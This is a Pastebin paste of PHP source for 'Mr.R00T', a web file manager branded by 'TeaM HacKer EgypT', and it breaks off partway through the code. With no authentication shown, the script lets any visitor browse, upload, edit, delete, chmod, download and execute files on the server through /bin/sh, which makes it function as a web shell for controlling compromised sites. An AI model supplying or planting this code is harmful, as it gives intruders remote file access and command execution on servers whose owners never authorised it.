Guest User

Untitled

a guest
Jul 29th, 2018
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 68.70 KB | None | 0 0
  1. <?php
  2. /*
  3. * Mr.R00T - a simple Web-based file manager
  4. * Copyright (C) 2004 TeaM HacKer EgypT <I0X0@HOTMAIL.COM>
  5. *
  6. * This program is free software; you can redistribute it and/or modify
  7. * it under the terms of the GNU General Public License as published by
  8. * the Free Software Foundation; either version 2 of the License, or
  9. * (at your option) any later version.
  10. *
  11. * This program is distributed in the hope that it will be useful,
  12. * but WITHOUT ANY WARRANTY; without even the implied warranty of
  13. * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  14. * GNU General Public License for more details.
  15. *
  16. * You should have received a copy of the GNU General Public License
  17. * along with this program; if not, write to the Free Software
  18. * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  19. *
  20. * -------------------------------------------------------------------------
  21. * While using this script, do NOT navigate with your browser's back and
  22. * forward buttons! Always open files in a new browser tab!
  23. * -------------------------------------------------------------------------
  24. *
  25. * This is Version 0.9, revision 9
  26. * =========================================================================
  27. *
  28. * Changes of revision 9
  29. * <I0X0@HOTMAIL.COM>
  30. * added workaround for directory listing, if lstat() is disabled
  31. * fixed permisson of uploaded files (thanks to Stephan Duffner)
  32. *
  33. * Changes of revision 8
  34. * <okankan@stud.sdu.edu.tr>
  35. * added Turkish translation
  36. * <j@kub.cz>
  37. * added Czech translation
  38. * <I0X0@HOTMAIL.COM>
  39. * improved charset handling
  40. *
  41. * Changes of revision 7
  42. * <szuniga@vtr.net>
  43. * added Spanish translation
  44. * <lars@soelgaard.net>
  45. * added Danish translation
  46. * <I0X0@HOTMAIL.COM>
  47. * improved rename dialog
  48. *
  49. * Changes of revision 6
  50. * <nederkoorn@tiscali.nl>
  51. * added Dutch translation
  52. *
  53. * Changes of revision 5
  54. * <I0X0@HOTMAIL.COM>
  55. * added language auto select
  56. * fixed symlinks in directory listing
  57. * removed word-wrap in edit textarea
  58. *
  59. * Changes of revision 4
  60. * <daloan@guideo.fr>
  61. * added French translation
  62. * <anders@wiik.cc>
  63. * added Swedish translation
  64. *
  65. * Changes of revision 3
  66. * <nzunta@gabriele-erba.it>
  67. * improved Italian translation
  68. *
  69. * Changes of revision 2
  70. * <I0X0@HOTMAIL.COM>
  71. * got images work in some old browsers
  72. * fixed creation of directories
  73. * fixed files deletion
  74. * improved path handling
  75. * added missing word 'not_created'
  76. * <till@tuxen.de>
  77. * improved human readability of file sizes
  78. * <nzunta@gabriele-erba.it>
  79. * added Italian translation
  80. *
  81. * Changes of revision 1
  82. * <I0X0@HOTMAIL.COM>
  83. * TeaM HacKer EgypT completely rewritten:
  84. * - clean XHTML/CSS output
  85. * - several files selectable
  86. * - support for windows servers
  87. * - no more treeview, because
  88. * - TeaM HacKer EgypT is a >simple< file manager
  89. * - performance problems (too much additional code)
  90. * - I don't like: frames, java-script, to reload after every treeview-click
  91. * - execution of shell scripts
  92. * - introduced revision numbers
  93. *
  94. /* ------------------------------------------------------------------------- */
  95.  
  96. /* Your language:
  97. * 'en' - English
  98. * 'de' - German
  99. * 'fr' - French
  100. * 'it' - Italian
  101. * 'nl' - Dutch
  102. * 'se' - Swedish
  103. * 'sp' - Spanish
  104. * 'dk' - Danish
  105. * 'tr' - Turkish
  106. * 'cs' - Czech
  107. * 'auto' - autoselect
  108. */
  109. $lang = 'auto';
  110.  
  111. /* Charset of output:
  112. * possible values are described in the charset table at
  113. * http://www.php.net/manual/en/function.htmlentities.php
  114. * 'auto' - use the same charset as the words of my language are encoded
  115. */
  116. $site_charset = 'auto';
  117.  
  118. /* Homedir:
  119. * For example: './' - the script's directory
  120. */
  121. $homedir = './';
  122.  
  123. /* Size of the edit textarea
  124. */
  125. $editcols = 80;
  126. $editrows = 25;
  127.  
  128. /* -------------------------------------------
  129. * Optional configuration (remove # to enable)
  130. */
  131.  
  132. /* Permission of created directories:
  133. * For example: 0705 would be 'drwx---r-x'.
  134. */
  135. # $dirpermission = 0705;
  136.  
  137. /* Permission of created files:
  138. * For example: 0604 would be '-rw----r--'.
  139. */
  140. # $filepermission = 0604;
  141.  
  142. /* Filenames related to the apache web server:
  143. */
  144. $htaccess = '.htaccess';
  145. $htpasswd = '.htpasswd';
  146.  
  147. /* ------------------------------------------------------------------------- */
  148.  
  149. if (get_magic_quotes_gpc()) {
  150. array_walk($_GET, 'strip');
  151. array_walk($_POST, 'strip');
  152. array_walk($_REQUEST, 'strip');
  153. }
  154.  
  155. if (array_key_exists('image', $_GET)) {
  156. header('Content-Type: image/gif');
  157. die(getimage($_GET['image']));
  158. }
  159.  
  160. if (!function_exists('lstat')) {
  161. function lstat ($filename) {
  162. return stat($filename);
  163. }
  164. }
  165.  
  166. $delim = DIRECTORY_SEPARATOR;
  167.  
  168. if (function_exists('php_uname')) {
  169. $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
  170. } else {
  171. $win = ($delim == '\\') ? true : false;
  172. }
  173.  
  174. if (!empty($_SERVER['PATH_TRANSLATED'])) {
  175. $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
  176. } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
  177. $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
  178. } elseif (function_exists('getcwd')) {
  179. $scriptdir = getcwd();
  180. } else {
  181. $scriptdir = '.';
  182. }
  183. $homedir = relative2absolute($homedir, $scriptdir);
  184.  
  185. $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
  186.  
  187. if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
  188. $dir = relative2absolute($dir, $_POST['olddir']);
  189. }
  190.  
  191. $directory = simplify_path(addslash($dir));
  192.  
  193. $files = array();
  194. $action = '';
  195. if (!empty($_POST['submit_all'])) {
  196. $action = $_POST['action_all'];
  197. for ($i = 0; $i < $_POST['num']; $i++) {
  198. if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
  199. $files[] = $_POST["file$i"];
  200. }
  201. }
  202. } elseif (!empty($_REQUEST['action'])) {
  203. $action = $_REQUEST['action'];
  204. $files[] = relative2absolute($_REQUEST['file'], $directory);
  205. } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
  206. $files[] = $_FILES['upload'];
  207. $action = 'upload';
  208. } elseif (array_key_exists('num', $_POST)) {
  209. for ($i = 0; $i < $_POST['num']; $i++) {
  210. if (array_key_exists("submit$i", $_POST)) break;
  211. }
  212. if ($i < $_POST['num']) {
  213. $action = $_POST["action$i"];
  214. $files[] = $_POST["file$i"];
  215. }
  216. }
  217. if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
  218. $files[] = relative2absolute($_POST['create_name'], $directory);
  219. switch ($_POST['create_type']) {
  220. case 'directory':
  221. $action = 'create_directory';
  222. break;
  223. case 'file':
  224. $action = 'create_file';
  225. }
  226. }
  227. if (sizeof($files) == 0) $action = ''; else $file = reset($files);
  228.  
  229. if ($lang == 'auto') {
  230. if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
  231. $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
  232. } else {
  233. $lang = 'en';
  234. }
  235. }
  236.  
  237. $words = getwords($lang);
  238.  
  239. if ($site_charset == 'auto') {
  240. $site_charset = $word_charset;
  241. }
  242.  
  243. $cols = ($win) ? 4 : 7;
  244.  
  245. if (!isset($dirpermission)) {
  246. $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
  247. }
  248. if (!isset($filepermission)) {
  249. $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
  250. }
  251.  
  252. if (!empty($_SERVER['SCRIPT_NAME'])) {
  253. $self = html(basename($_SERVER['SCRIPT_NAME']));
  254. } elseif (!empty($_SERVER['PHP_SELF'])) {
  255. $self = html(basename($_SERVER['PHP_SELF']));
  256. } else {
  257. $self = '';
  258. }
  259.  
  260. if (!empty($_SERVER['SERVER_SOFTWARE'])) {
  261. if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
  262. $apache = true;
  263. } else {
  264. $apache = false;
  265. }
  266. } else {
  267. $apache = true;
  268. }
  269.  
  270. switch ($action) {
  271.  
  272. case 'view':
  273.  
  274. if (is_script($file)) {
  275.  
  276. /* highlight_file is a mess! */
  277. ob_start();
  278. highlight_file($file);
  279. $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
  280. $src = str_replace(array('</font>', "\
  281. ", "\
  282. "), array('</span>', '', ''), $src);
  283. ob_end_clean();
  284.  
  285. html_header();
  286. echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
  287.  
  288. <hr />
  289.  
  290. <table>
  291. <tr>
  292. <td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
  293. <pre style="margin-top: 0"><code>';
  294.  
  295. for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\
  296. ";
  297.  
  298. echo '</code></pre>
  299. </td>
  300. <td style="text-align: left; vertical-align: top; padding-left: 3pt">
  301. <pre style="margin-top: 0">' . $src . '</pre>
  302. </td>
  303. </tr>
  304. </table>
  305.  
  306. ';
  307.  
  308. html_footer();
  309.  
  310. } else {
  311.  
  312. header('Content-Type: ' . getmimetype($file));
  313. header('Content-Disposition: filename=' . basename($file));
  314.  
  315. readfile($file);
  316.  
  317. }
  318.  
  319. break;
  320.  
  321. case 'download':
  322.  
  323. header('Pragma: public');
  324. header('Expires: 0');
  325. header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  326. header('Content-Type: ' . getmimetype($file));
  327. header('Content-Disposition: attachment; filename=' . basename($file) . ';');
  328. header('Content-Length: ' . filesize($file));
  329.  
  330. readfile($file);
  331.  
  332. break;
  333.  
  334. case 'upload':
  335.  
  336. $dest = relative2absolute($file['name'], $directory);
  337.  
  338. if (@file_exists($dest)) {
  339. listing_page(error('already_exists', $dest));
  340. } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
  341. @chmod($dest, $filepermission);
  342. listing_page(notice('uploaded', $file['name']));
  343. } else {
  344. listing_page(error('not_uploaded', $file['name']));
  345. }
  346.  
  347. break;
  348.  
  349. case 'create_directory':
  350.  
  351. if (@file_exists($file)) {
  352. listing_page(error('already_exists', $file));
  353. } else {
  354. $old = @umask(0777 & ~$dirpermission);
  355. if (@mkdir($file, $dirpermission)) {
  356. listing_page(notice('created', $file));
  357. } else {
  358. listing_page(error('not_created', $file));
  359. }
  360. @umask($old);
  361. }
  362.  
  363. break;
  364.  
  365. case 'create_file':
  366.  
  367. if (@file_exists($file)) {
  368. listing_page(error('already_exists', $file));
  369. } else {
  370. $old = @umask(0777 & ~$filepermission);
  371. if (@touch($file)) {
  372. edit($file);
  373. } else {
  374. listing_page(error('not_created', $file));
  375. }
  376. @umask($old);
  377. }
  378.  
  379. break;
  380.  
  381. case 'execute':
  382.  
  383. chdir(dirname($file));
  384.  
  385. $output = array();
  386. $retval = 0;
  387. exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
  388.  
  389. $error = ($retval == 0) ? false : true;
  390.  
  391. if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
  392.  
  393. if ($error) {
  394. listing_page(error('not_executed', $file, implode("\
  395. ", $output)));
  396. } else {
  397. listing_page(notice('executed', $file, implode("\
  398. ", $output)));
  399. }
  400.  
  401. break;
  402.  
  403. case 'delete':
  404.  
  405. if (!empty($_POST['no'])) {
  406. listing_page();
  407. } elseif (!empty($_POST['yes'])) {
  408.  
  409. $failure = array();
  410. $success = array();
  411.  
  412. foreach ($files as $file) {
  413. if (del($file)) {
  414. $success[] = $file;
  415. } else {
  416. $failure[] = $file;
  417. }
  418. }
  419.  
  420. $message = '';
  421. if (sizeof($failure) > 0) {
  422. $message = error('not_deleted', implode("\
  423. ", $failure));
  424. }
  425. if (sizeof($success) > 0) {
  426. $message .= notice('deleted', implode("\
  427. ", $success));
  428. }
  429.  
  430. listing_page($message);
  431.  
  432. } else {
  433.  
  434. html_header();
  435.  
  436. echo '<form action="' . $self . '" method="post">
  437. <table class="dialog">
  438. <tr>
  439. <td class="dialog">
  440. ';
  441.  
  442. request_dump();
  443.  
  444. echo "\t<b>" . word('really_delete') . '</b>
  445. <p>
  446. ';
  447.  
  448. foreach ($files as $file) {
  449. echo "\t" . html($file) . "<br />\
  450. ";
  451. }
  452.  
  453. echo ' </p>
  454. <hr />
  455. <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
  456. <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
  457. </td>
  458. </tr>
  459. </table>
  460. </form>
  461.  
  462. ';
  463.  
  464. html_footer();
  465.  
  466. }
  467.  
  468. break;
  469.  
  470. case 'rename':
  471.  
  472. if (!empty($_POST['destination'])) {
  473.  
  474. $dest = relative2absolute($_POST['destination'], $directory);
  475.  
  476. if (!@file_exists($dest) && @rename($file, $dest)) {
  477. listing_page(notice('renamed', $file, $dest));
  478. } else {
  479. listing_page(error('not_renamed', $file, $dest));
  480. }
  481.  
  482. } else {
  483.  
  484. $name = basename($file);
  485.  
  486. html_header();
  487.  
  488. echo '<form action="' . $self . '" method="post">
  489.  
  490. <table class="dialog">
  491. <tr>
  492. <td class="dialog">
  493. <input type="hidden" name="action" value="rename" />
  494. <input type="hidden" name="file" value="' . html($file) . '" />
  495. <input type="hidden" name="dir" value="' . html($directory) . '" />
  496. <b>' . word('rename_file') . '</b>
  497. <p>' . html($file) . '</p>
  498. <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
  499. <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
  500. <hr />
  501. <input type="submit" value="' . word('rename') . '" />
  502. </td>
  503. </tr>
  504. </table>
  505.  
  506. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  507.  
  508. </form>
  509.  
  510. ';
  511.  
  512. html_footer();
  513.  
  514. }
  515.  
  516. break;
  517.  
  518. case 'move':
  519.  
  520. if (!empty($_POST['destination'])) {
  521.  
  522. $dest = relative2absolute($_POST['destination'], $directory);
  523.  
  524. $failure = array();
  525. $success = array();
  526.  
  527. foreach ($files as $file) {
  528. $filename = substr($file, strlen($directory));
  529. $d = $dest . $filename;
  530. if (!@file_exists($d) && @rename($file, $d)) {
  531. $success[] = $file;
  532. } else {
  533. $failure[] = $file;
  534. }
  535. }
  536.  
  537. $message = '';
  538. if (sizeof($failure) > 0) {
  539. $message = error('not_moved', implode("\
  540. ", $failure), $dest);
  541. }
  542. if (sizeof($success) > 0) {
  543. $message .= notice('moved', implode("\
  544. ", $success), $dest);
  545. }
  546.  
  547. listing_page($message);
  548.  
  549. } else {
  550.  
  551. html_header();
  552.  
  553. echo '<form action="' . $self . '" method="post">
  554.  
  555. <table class="dialog">
  556. <tr>
  557. <td class="dialog">
  558. ';
  559.  
  560. request_dump();
  561.  
  562. echo "\t<b>" . word('move_files') . '</b>
  563. <p>
  564. ';
  565.  
  566. foreach ($files as $file) {
  567. echo "\t" . html($file) . "<br />\
  568. ";
  569. }
  570.  
  571. echo ' </p>
  572. <hr />
  573. ' . word('destination') . ':
  574. <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  575. <input type="submit" value="' . word('move') . '" />
  576. </td>
  577. </tr>
  578. </table>
  579.  
  580. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  581.  
  582. </form>
  583.  
  584. ';
  585.  
  586. html_footer();
  587.  
  588. }
  589.  
  590. break;
  591.  
  592. case 'copy':
  593.  
  594. if (!empty($_POST['destination'])) {
  595.  
  596. $dest = relative2absolute($_POST['destination'], $directory);
  597.  
  598. if (@is_dir($dest)) {
  599.  
  600. $failure = array();
  601. $success = array();
  602.  
  603. foreach ($files as $file) {
  604. $filename = substr($file, strlen($directory));
  605. $d = addslash($dest) . $filename;
  606. if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
  607. $success[] = $file;
  608. } else {
  609. $failure[] = $file;
  610. }
  611. }
  612.  
  613. $message = '';
  614. if (sizeof($failure) > 0) {
  615. $message = error('not_copied', implode("\
  616. ", $failure), $dest);
  617. }
  618. if (sizeof($success) > 0) {
  619. $message .= notice('copied', implode("\
  620. ", $success), $dest);
  621. }
  622.  
  623. listing_page($message);
  624.  
  625. } else {
  626.  
  627. if (!@file_exists($dest) && @copy($file, $dest)) {
  628. listing_page(notice('copied', $file, $dest));
  629. } else {
  630. listing_page(error('not_copied', $file, $dest));
  631. }
  632.  
  633. }
  634.  
  635. } else {
  636.  
  637. html_header();
  638.  
  639. echo '<form action="' . $self . '" method="post">
  640.  
  641. <table class="dialog">
  642. <tr>
  643. <td class="dialog">
  644. ';
  645.  
  646. request_dump();
  647.  
  648. echo "\
  649. <b>" . word('copy_files') . '</b>
  650. <p>
  651. ';
  652.  
  653. foreach ($files as $file) {
  654. echo "\t" . html($file) . "<br />\
  655. ";
  656. }
  657.  
  658. echo ' </p>
  659. <hr />
  660. ' . word('destination') . ':
  661. <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  662. <input type="submit" value="' . word('copy') . '" />
  663. </td>
  664. </tr>
  665. </table>
  666.  
  667. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  668.  
  669. </form>
  670.  
  671. ';
  672.  
  673. html_footer();
  674.  
  675. }
  676.  
  677. break;
  678.  
  679. case 'create_symlink':
  680.  
  681. if (!empty($_POST['destination'])) {
  682.  
  683. $dest = relative2absolute($_POST['destination'], $directory);
  684.  
  685. if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
  686.  
  687. if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
  688.  
  689. if (!@file_exists($dest) && @symlink($file, $dest)) {
  690. listing_page(notice('symlinked', $file, $dest));
  691. } else {
  692. listing_page(error('not_symlinked', $file, $dest));
  693. }
  694.  
  695. } else {
  696.  
  697. html_header();
  698.  
  699. echo '<form action="' . $self . '" method="post">
  700.  
  701. <table class="dialog" id="symlink">
  702. <tr>
  703. <td style="vertical-align: top">' . word('destination') . ': </td>
  704. <td>
  705. <b>' . html($file) . '</b><br />
  706. <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
  707. <label for="checkbox_relative">' . word('relative') . '</label>
  708. <input type="hidden" name="action" value="create_symlink" />
  709. <input type="hidden" name="file" value="' . html($file) . '" />
  710. <input type="hidden" name="dir" value="' . html($directory) . '" />
  711. </td>
  712. </tr>
  713. <tr>
  714. <td>' . word('symlink') . ': </td>
  715. <td>
  716. <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  717. <input type="submit" value="' . word('create_symlink') . '" />
  718. </td>
  719. </tr>
  720. </table>
  721.  
  722. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  723.  
  724. </form>
  725.  
  726. ';
  727.  
  728. html_footer();
  729.  
  730. }
  731.  
  732. break;
  733.  
  734. case 'edit':
  735.  
  736. if (!empty($_POST['save'])) {
  737.  
  738. $content = str_replace("\
  739. \
  740. ", "\
  741. ", $_POST['content']);
  742.  
  743. if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
  744. listing_page(notice('saved', $file));
  745. } else {
  746. listing_page(error('not_saved', $file));
  747. }
  748.  
  749. } else {
  750.  
  751. if (@is_readable($file) && @is_writable($file)) {
  752. edit($file);
  753. } else {
  754. listing_page(error('not_edited', $file));
  755. }
  756.  
  757. }
  758.  
  759. break;
  760.  
  761. case 'permission':
  762.  
  763. if (!empty($_POST['set'])) {
  764.  
  765. $mode = 0;
  766. if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
  767. if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
  768. if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
  769.  
  770. if (@chmod($file, $mode)) {
  771. listing_page(notice('permission_set', $file, decoct($mode)));
  772. } else {
  773. listing_page(error('permission_not_set', $file, decoct($mode)));
  774. }
  775.  
  776. } else {
  777.  
  778. html_header();
  779.  
  780. $mode = fileperms($file);
  781.  
  782. echo '<form action="' . $self . '" method="post">
  783.  
  784. <table class="dialog">
  785. <tr>
  786. <td class="dialog">
  787.  
  788. <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
  789.  
  790. <hr />
  791.  
  792. <table id="permission">
  793. <tr>
  794. <td></td>
  795. <td style="border-right: 1px solid black">' . word('owner') . '</td>
  796. <td style="border-right: 1px solid black">' . word('group') . '</td>
  797. <td>' . word('other') . '</td>
  798. </tr>
  799. <tr>
  800. <td style="text-align: right">' . word('read') . ':</td>
  801. <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
  802. <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
  803. <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
  804. </tr>
  805. <tr>
  806. <td style="text-align: right">' . word('write') . ':</td>
  807. <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
  808. <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
  809. <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
  810. </tr>
  811. <tr>
  812. <td style="text-align: right">' . word('execute') . ':</td>
  813. <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
  814. <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
  815. <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
  816. </tr>
  817. </table>
  818.  
  819. <hr />
  820.  
  821. <input type="submit" name="set" value="' . word('set') . '" />
  822.  
  823. <input type="hidden" name="action" value="permission" />
  824. <input type="hidden" name="file" value="' . html($file) . '" />
  825. <input type="hidden" name="dir" value="' . html($directory) . '" />
  826.  
  827. </td>
  828. </tr>
  829. </table>
  830.  
  831. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  832.  
  833. </form>
  834.  
  835. ';
  836.  
  837. html_footer();
  838.  
  839. }
  840.  
  841. break;
  842.  
  843. default:
  844.  
  845. listing_page();
  846.  
  847. }
  848.  
  849. /* ------------------------------------------------------------------------- */
  850.  
  851. function getlist ($directory) {
  852. global $delim, $win;
  853.  
  854. if ($d = @opendir($directory)) {
  855.  
  856. while (($filename = @readdir($d)) !== false) {
  857.  
  858. $path = $directory . $filename;
  859.  
  860. if ($stat = @lstat($path)) {
  861.  
  862. $file = array(
  863. 'filename' => $filename,
  864. 'path' => $path,
  865. 'is_file' => @is_file($path),
  866. 'is_dir' => @is_dir($path),
  867. 'is_link' => @is_link($path),
  868. 'is_readable' => @is_readable($path),
  869. 'is_writable' => @is_writable($path),
  870. 'size' => $stat['size'],
  871. 'permission' => $stat['mode'],
  872. 'owner' => $stat['uid'],
  873. 'group' => $stat['gid'],
  874. 'mtime' => @filemtime($path),
  875. 'atime' => @fileatime($path),
  876. 'ctime' => @filectime($path)
  877. );
  878.  
  879. if ($file['is_dir']) {
  880. $file['is_executable'] = @file_exists($path . $delim . '.');
  881. } else {
  882. if (!$win) {
  883. $file['is_executable'] = @is_executable($path);
  884. } else {
  885. $file['is_executable'] = true;
  886. }
  887. }
  888.  
  889. if ($file['is_link']) $file['target'] = @readlink($path);
  890.  
  891. if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
  892. if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
  893.  
  894. $files[] = $file;
  895.  
  896. }
  897.  
  898. }
  899.  
  900. return $files;
  901.  
  902. } else {
  903. return false;
  904. }
  905.  
  906. }
  907.  
  908. function sortlist (&$list, $key, $reverse) {
  909.  
  910. quicksort($list, 0, sizeof($list) - 1, $key);
  911.  
  912. if ($reverse) $list = array_reverse($list);
  913.  
  914. }
  915.  
  916. function quicksort (&$array, $first, $last, $key) {
  917.  
  918. if ($first < $last) {
  919.  
  920. $cmp = $array[floor(($first + $last) / 2)][$key];
  921.  
  922. $l = $first;
  923. $r = $last;
  924.  
  925. while ($l <= $r) {
  926.  
  927. while ($array[$l][$key] < $cmp) $l++;
  928. while ($array[$r][$key] > $cmp) $r--;
  929.  
  930. if ($l <= $r) {
  931.  
  932. $tmp = $array[$l];
  933. $array[$l] = $array[$r];
  934. $array[$r] = $tmp;
  935.  
  936. $l++;
  937. $r--;
  938.  
  939. }
  940.  
  941. }
  942.  
  943. quicksort($array, $first, $r, $key);
  944. quicksort($array, $l, $last, $key);
  945.  
  946. }
  947.  
  948. }
  949.  
  950. function permission_octal2string ($mode) {
  951.  
  952. if (($mode & 0xC000) === 0xC000) {
  953. $type = 's';
  954. } elseif (($mode & 0xA000) === 0xA000) {
  955. $type = 'l';
  956. } elseif (($mode & 0x8000) === 0x8000) {
  957. $type = '-';
  958. } elseif (($mode & 0x6000) === 0x6000) {
  959. $type = 'b';
  960. } elseif (($mode & 0x4000) === 0x4000) {
  961. $type = 'd';
  962. } elseif (($mode & 0x2000) === 0x2000) {
  963. $type = 'c';
  964. } elseif (($mode & 0x1000) === 0x1000) {
  965. $type = 'p';
  966. } else {
  967. $type = '?';
  968. }
  969.  
  970. $owner = ($mode & 00400) ? 'r' : '-';
  971. $owner .= ($mode & 00200) ? 'w' : '-';
  972. if ($mode & 0x800) {
  973. $owner .= ($mode & 00100) ? 's' : 'S';
  974. } else {
  975. $owner .= ($mode & 00100) ? 'x' : '-';
  976. }
  977.  
  978. $group = ($mode & 00040) ? 'r' : '-';
  979. $group .= ($mode & 00020) ? 'w' : '-';
  980. if ($mode & 0x400) {
  981. $group .= ($mode & 00010) ? 's' : 'S';
  982. } else {
  983. $group .= ($mode & 00010) ? 'x' : '-';
  984. }
  985.  
  986. $other = ($mode & 00004) ? 'r' : '-';
  987. $other .= ($mode & 00002) ? 'w' : '-';
  988. if ($mode & 0x200) {
  989. $other .= ($mode & 00001) ? 't' : 'T';
  990. } else {
  991. $other .= ($mode & 00001) ? 'x' : '-';
  992. }
  993.  
  994. return $type . $owner . $group . $other;
  995.  
  996. }
  997.  
  998. function is_script ($filename) {
  999. return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
  1000. }
  1001.  
  1002. function getmimetype ($filename) {
  1003. static $mimes = array(
  1004. '\.jpg$|\.jpeg$' => 'image/jpeg',
  1005. '\.gif$' => 'image/gif',
  1006. '\.png$' => 'image/png',
  1007. '\.html$|\.html$' => 'text/html',
  1008. '\.txt$|\.asc$' => 'text/plain',
  1009. '\.xml$|\.xsl$' => 'application/xml',
  1010. '\.pdf$' => 'application/pdf'
  1011. );
  1012.  
  1013. foreach ($mimes as $regex => $mime) {
  1014. if (eregi($regex, $filename)) return $mime;
  1015. }
  1016.  
  1017. // return 'application/octet-stream';
  1018. return 'text/plain';
  1019.  
  1020. }
  1021.  
  1022. function del ($file) {
  1023. global $delim;
  1024.  
  1025. if (!@is_link($file) && !file_exists($file)) return false;
  1026.  
  1027. if (!@is_link($file) && @is_dir($file)) {
  1028.  
  1029. if ($dir = @opendir($file)) {
  1030.  
  1031. $error = false;
  1032.  
  1033. while (($f = readdir($dir)) !== false) {
  1034. if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
  1035. $error = true;
  1036. }
  1037. }
  1038. closedir($dir);
  1039.  
  1040. if (!$error) return @rmdir($file);
  1041.  
  1042. return !$error;
  1043.  
  1044. } else {
  1045. return false;
  1046. }
  1047.  
  1048. } else {
  1049. return @unlink($file);
  1050. }
  1051.  
  1052. }
  1053.  
  1054. function addslash ($directory) {
  1055. global $delim;
  1056.  
  1057. if (substr($directory, -1, 1) != $delim) {
  1058. return $directory . $delim;
  1059. } else {
  1060. return $directory;
  1061. }
  1062.  
  1063. }
  1064.  
  1065. function relative2absolute ($string, $directory) {
  1066.  
  1067. if (path_is_relative($string)) {
  1068. return simplify_path(addslash($directory) . $string);
  1069. } else {
  1070. return simplify_path($string);
  1071. }
  1072.  
  1073. }
  1074.  
  1075. function path_is_relative ($path) {
  1076. global $win;
  1077.  
  1078. if ($win) {
  1079. return (substr($path, 1, 1) != ':');
  1080. } else {
  1081. return (substr($path, 0, 1) != '/');
  1082. }
  1083.  
  1084. }
  1085.  
  1086. function absolute2relative ($directory, $target) {
  1087. global $delim;
  1088.  
  1089. $path = '';
  1090. while ($directory != $target) {
  1091. if ($directory == substr($target, 0, strlen($directory))) {
  1092. $path .= substr($target, strlen($directory));
  1093. break;
  1094. } else {
  1095. $path .= '..' . $delim;
  1096. $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
  1097. }
  1098. }
  1099. if ($path == '') $path = '.';
  1100.  
  1101. return $path;
  1102.  
